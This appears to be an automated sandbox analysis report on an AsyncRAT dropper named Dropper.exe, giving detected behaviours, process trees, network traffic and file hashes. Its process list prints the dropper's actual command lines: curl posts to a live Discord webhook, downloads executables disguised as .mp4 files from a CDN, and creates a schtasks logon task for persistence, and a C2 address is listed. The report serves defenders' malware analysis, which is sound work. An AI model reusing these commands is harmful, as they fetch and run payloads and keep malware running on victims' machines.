Analysis Overview
SHA256
3aed680e7ffde9f2f34681d7d60ee188862da9d48c7cace56060eebd6bbfb152
Threat Level: Known bad
The file Dropper.exe was found to be: Known bad.
Malicious Activity Summary
AsyncRat
Async RAT payload
Downloads MZ/PE file
Checks computer location settings
Executes dropped EXE
Legitimate hosting services abused for malware hosting/C2
Enumerates physical storage devices
Unsigned PE
Suspicious use of SetWindowsHookEx
Delays execution with timeout.exe
Scheduled Task/Job: Scheduled Task
Uses Task Scheduler COM API
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
MITRE ATT&CK Matrix V13
Analysis: static1
Detonation Overview
Reported
2024-06-22 08:39
Signatures
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-06-22 08:39
Reported
2024-06-22 08:41
Platform
win7-20240508-en
Max time kernel
121s
Max time network
122s
Command Line
Signatures
Processes
C:\Users\Admin\AppData\Local\Temp\Dropper.exe
"C:\Users\Admin\AppData\Local\Temp\Dropper.exe"
Network
Files
memory/1932-0-0x0000000074D3E000-0x0000000074D3F000-memory.dmp
memory/1932-1-0x00000000011D0000-0x00000000011EC000-memory.dmp
memory/1932-2-0x0000000074D3E000-0x0000000074D3F000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-06-22 08:39
Reported
2024-06-22 08:41
Platform
win10v2004-20240611-en
Max time kernel
149s
Max time network
150s
Command Line
Signatures
AsyncRat
Async RAT payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Downloads MZ/PE file
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\Dropper.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\$77-aachost.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\$77-aachost.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\$77-sdchost.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\$77-penisballs.exe | N/A |
Legitimate hosting services abused for malware hosting/C2
| Description | Indicator | Process | Target |
| N/A | discord.com | N/A | N/A |
| N/A | discord.com | N/A | N/A |
Enumerates physical storage devices
Delays execution with timeout.exe
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\timeout.exe | N/A |
Scheduled Task/Job: Scheduled Task
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\schtasks.exe | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\$77-sdchost.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\$77-penisballs.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\$77-aachost.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\$77-penisballs.exe | N/A |
Suspicious use of WriteProcessMemory
Uses Task Scheduler COM API
Processes
C:\Users\Admin\AppData\Local\Temp\Dropper.exe
"C:\Users\Admin\AppData\Local\Temp\Dropper.exe"
C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c curl "https://discord.com/api/webhooks/1253986586673283103/CvnAbLIiYSc2d4NdsSOOo_z4TsnJT2JyuZLeKUKi_ejCvAa0imwn4KDGeajcvxpgCrSn" -X POST -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0" -H "Accept: application/json" -H "Accept-Language: en" -H "Accept-Encoding: gzip, deflate, br" -H "Referer: https://discohook.org/" -H "Content-Type: application/json" -H "Origin: https://discohook.org" -H "Connection: keep-alive" -H "Sec-Fetch-Dest: empty" -H "Sec-Fetch-Mode: cors" -H "Sec-Fetch-Site: cross-site" -H "TE: trailers" --data-raw "{""content"":""`Admin` Ran The File!"",""embeds"":null,""avatar_url"":""https://us.rule34.xxx//samples/1568/sample_2462f27a30bcbb733609276995ca37d4a7c91a2d.jpg?10163103"",""attachments"":[]}"
C:\Windows\SysWOW64\curl.exe
curl "https://discord.com/api/webhooks/1253986586673283103/CvnAbLIiYSc2d4NdsSOOo_z4TsnJT2JyuZLeKUKi_ejCvAa0imwn4KDGeajcvxpgCrSn" -X POST -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0" -H "Accept: application/json" -H "Accept-Language: en" -H "Accept-Encoding: gzip, deflate, br" -H "Referer: https://discohook.org/" -H "Content-Type: application/json" -H "Origin: https://discohook.org" -H "Connection: keep-alive" -H "Sec-Fetch-Dest: empty" -H "Sec-Fetch-Mode: cors" -H "Sec-Fetch-Site: cross-site" -H "TE: trailers" --data-raw "{""content"":""`Admin` Ran The File!"",""embeds"":null,""avatar_url"":""https://us.rule34.xxx//samples/1568/sample_2462f27a30bcbb733609276995ca37d4a7c91a2d.jpg?10163103"",""attachments"":[]}"
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c curl https://cdn.glitch.global/42e4040c-5452-4f16-9411-098912f4fa35/aachost.mp4?v=1719043456713 --output C:\Users\Admin\AppData\Local\Temp\$77-aachost.exe
C:\Windows\SysWOW64\curl.exe
curl https://cdn.glitch.global/42e4040c-5452-4f16-9411-098912f4fa35/aachost.mp4?v=1719043456713 --output C:\Users\Admin\AppData\Local\Temp\$77-aachost.exe
C:\Users\Admin\AppData\Local\Temp\$77-aachost.exe
"C:\Users\Admin\AppData\Local\Temp\$77-aachost.exe"
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c curl https://cdn.glitch.global/42e4040c-5452-4f16-9411-098912f4fa35/sachost.mp4?v=1719043085712 --output C:\Users\Admin\AppData\Local\Temp\$77-sdchost.exe
C:\Windows\SysWOW64\curl.exe
curl https://cdn.glitch.global/42e4040c-5452-4f16-9411-098912f4fa35/sachost.mp4?v=1719043085712 --output C:\Users\Admin\AppData\Local\Temp\$77-sdchost.exe
C:\Users\Admin\AppData\Local\Temp\$77-sdchost.exe
"C:\Users\Admin\AppData\Local\Temp\$77-sdchost.exe"
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c curl https://cdn.glitch.global/42e4040c-5452-4f16-9411-098912f4fa35/%2477-penisware2.mp4?v=1719043121460 --output C:\Users\Admin\AppData\Local\Temp\$77-penisballs.exe
C:\Windows\SysWOW64\curl.exe
curl https://cdn.glitch.global/42e4040c-5452-4f16-9411-098912f4fa35/%2477-penisware2.mp4?v=1719043121460 --output C:\Users\Admin\AppData\Local\Temp\$77-penisballs.exe
C:\Users\Admin\AppData\Local\Temp\$77-penisballs.exe
"C:\Users\Admin\AppData\Local\Temp\$77-penisballs.exe"
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c curl https://cdn.glitch.global/42e4040c-5452-4f16-9411-098912f4fa35/Install.mp4?v=1719043283499 --output C:\Users\Admin\AppData\Local\Temp\$77-install.exe
C:\Windows\SysWOW64\curl.exe
curl https://cdn.glitch.global/42e4040c-5452-4f16-9411-098912f4fa35/Install.mp4?v=1719043283499 --output C:\Users\Admin\AppData\Local\Temp\$77-install.exe
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "$77-aachost" /tr '"C:\Users\Admin\AppData\Roaming\$77-aachost.exe"' & exit
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp815B.tmp.bat""
C:\Windows\system32\timeout.exe
timeout 3
C:\Windows\system32\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /tn "$77-aachost" /tr '"C:\Users\Admin\AppData\Roaming\$77-aachost.exe"'
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 217.106.137.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | g.bing.com | udp |
| US | 13.107.21.237:443 | g.bing.com | tcp |
| US | 8.8.8.8:53 | 82.90.14.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 75.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 237.21.107.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 55.36.223.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 183.142.211.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 86.23.85.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 171.39.242.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 98.58.20.217.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.214.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 205.47.74.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | tse1.mm.bing.net | udp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 8.8.8.8:53 | 10.28.171.150.in-addr.arpa | udp |
| US | 8.8.8.8:53 | discord.com | udp |
| US | 162.159.128.233:443 | discord.com | tcp |
| US | 8.8.8.8:53 | cdn.glitch.global | udp |
| US | 151.101.130.132:443 | cdn.glitch.global | tcp |
| US | 8.8.8.8:53 | 233.128.159.162.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 132.130.101.151.in-addr.arpa | udp |
| US | 151.101.130.132:443 | cdn.glitch.global | tcp |
| US | 8.8.8.8:53 | 11.97.55.23.in-addr.arpa | udp |
| US | 151.101.130.132:443 | cdn.glitch.global | tcp |
| US | 151.101.130.132:443 | cdn.glitch.global | tcp |
| US | 8.8.8.8:53 | 94.65.42.20.in-addr.arpa | udp |
| N/A | 147.185.221.19:42571 | tcp |
Files
memory/2080-0-0x000000007480E000-0x000000007480F000-memory.dmp
memory/2080-1-0x0000000000C30000-0x0000000000C4C000-memory.dmp
memory/2080-2-0x000000007480E000-0x000000007480F000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\$77-aachost.exe
| MD5 | 514d0abd73e992c2a1622795b33f17f4 |
| SHA1 | 96740e82d7a119d808000783507bd92690584fe6 |
| SHA256 | b333ecc39a213f6ce650dd4af50d2d201ee6f80dea63ec98132220670469bf53 |
| SHA512 | 4600baecf44a9cbc7b33fd02d1807628597c6ecc87aeb12b653f6e3a46c951fe9cd789e100d96df8c57b5d0446397c8a639f0c7ee8ef9395c172598ce8185bc8 |
memory/4184-6-0x00000000000C0000-0x00000000000D6000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\$77-sdchost.exe
| MD5 | 12d2d1f43b0ecf5a949adde54b1ffb65 |
| SHA1 | ad0529bc9102210f3616c7b626c37d6454d44033 |
| SHA256 | 619b345f6803d45bcf20305efb3407a8ae26ba0aaffe38e7b5f31cb8c26101ef |
| SHA512 | 0a55fc91d0bc7e3123b16b012c70c15f731c3be1f8499c733cc994fcec43d8cdf6279e0b9eedda35035423c8891e076be374c512d6506d81e1f81802af25153f |
memory/4404-10-0x0000000000B50000-0x0000000000BA2000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\$77-penisballs.exe
| MD5 | 18f497deffe88b6b2cff336a277aface |
| SHA1 | 4e1413241d3d3e4dbff399d179f8fd64f3ecd39e |
| SHA256 | 8133c3c1e5dde7c9b4d9d5c9a07e37b733fd0223fc9d035c3f386f034a434af5 |
| SHA512 | 35c804ec73001fe66d57bd2fadc51cd399edbc2e550c4257f29aac5a24a9f9c030c582d50239dec41605801263fd5739444aa14f9683f99f726152cc1bb6920d |
memory/4980-14-0x00000000006C0000-0x0000000000706000-memory.dmp
memory/4980-15-0x0000000002760000-0x0000000002766000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\tmp815B.tmp.bat
| MD5 | d18965182157fee8347183c7ad862427 |
| SHA1 | f1d53d7eb51b900d8a64a88dce9f97bb69702773 |
| SHA256 | 95798dc64ea9d985f441773f68767f03151c8eff61a908a0e709298a9561ac35 |
| SHA512 | 7e749a2c20850cd7264f76880b3d34a2c74e4bd85e4a3cc4d290ad1f25e5005960d097e6dc00c9b4eff10192ad052241641f2a191b60226b9deca31f3097525b |